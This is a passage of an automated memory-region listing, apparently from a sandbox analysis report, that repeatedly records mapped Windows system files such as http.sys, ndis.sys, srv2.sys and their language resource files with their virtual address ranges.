= 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6053 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6054 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6055 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6056 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6057 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6058 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6059 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6060 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6061 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6062 start_va = 0x196ee9e0000 end_va = 0x196ee9e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "http.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\http.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\http.sys.mui") Region: id = 6063 start_va = 0x196ef3b0000 end_va = 0x196ef4c0fff monitored = 0 entry_point = 0x196ef4a1bf0 region_type = mapped_file name = "http.sys" filename = "\\Windows\\System32\\drivers\\http.sys" (normalized: "c:\\windows\\system32\\drivers\\http.sys") Region: id = 6064 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6065 start_va = 0x196ee9f0000 end_va = 0x196ee9fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6066 start_va = 0x196ee9e0000 end_va = 0x196ee9effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\PSEvents.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\psevents.dll") Region: id = 6067 start_va = 0x196ee9f0000 end_va = 0x196ee9fdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "psevents.dll.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\PSEvents.dll.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\psevents.dll.mui") Region: id = 6068 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6069 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6070 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6071 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6072 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6073 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6074 start_va = 0x196ee9e0000 end_va = 0x196ee9e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rdpcorets.dll.mui" filename = "\\Windows\\System32\\en-US\\rdpcorets.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\rdpcorets.dll.mui") Region: id = 6075 start_va = 0x196ef3b0000 end_va = 0x196ef7b7fff monitored = 0 entry_point = 0x196ef47e3b0 region_type = mapped_file name = "rdpcorets.dll" filename = "\\Windows\\System32\\rdpcorets.dll" (normalized: "c:\\windows\\system32\\rdpcorets.dll") Region: id = 6076 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6077 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6078 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6079 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6080 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6081 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6082 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6083 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6084 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6085 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6086 start_va = 0x196ee9e0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 6087 start_va = 0x196ef3b0000 end_va = 0x196ef45efff monitored = 0 entry_point = 0x196ef427000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 6088 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6089 start_va = 0x196ef3b0000 end_va = 0x196ef484fff monitored = 0 entry_point = 0x196ef3de0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6090 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 6091 start_va = 0x196ef3b0000 end_va = 0x196ef484fff monitored = 0 entry_point = 0x196ef3de0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 6092 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6093 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6094 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6095 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6096 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6097 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6098 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6099 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6100 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6101 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6102 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 6103 start_va = 0x196ef3b0000 end_va = 0x196ef410fff monitored = 0 entry_point = 0x196ef3c0770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 6104 start_va = 0x196ee9e0000 end_va = 0x196eea27fff monitored = 0 entry_point = 0x196eea1acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6105 start_va = 0x196ef3b0000 end_va = 0x196ef3b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6106 start_va = 0x196ee9e0000 end_va = 0x196eea27fff monitored = 0 entry_point = 0x196eea1acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 6107 start_va = 0x196ef3b0000 end_va = 0x196ef3b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 6108 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6109 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6110 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6111 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6112 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6113 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6114 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6115 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6116 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6117 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6118 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6119 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6120 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6121 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6122 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6123 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6124 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6125 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6126 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6127 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6128 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6129 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6130 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6131 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6132 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6133 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6134 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6135 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6136 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6137 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6138 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6139 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6140 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6141 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6142 start_va = 0x196ee9e0000 end_va = 0x196ee9f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 6143 start_va = 0x196ef3b0000 end_va = 0x196ef4cffff monitored = 0 entry_point = 0x196ef4ac040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 6144 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6145 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6146 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6147 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6148 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6149 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6150 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6151 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6152 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6153 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6154 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 6155 start_va = 0x196ee9f0000 end_va = 0x196eea00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 6156 start_va = 0x196ee9e0000 end_va = 0x196ee9e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: 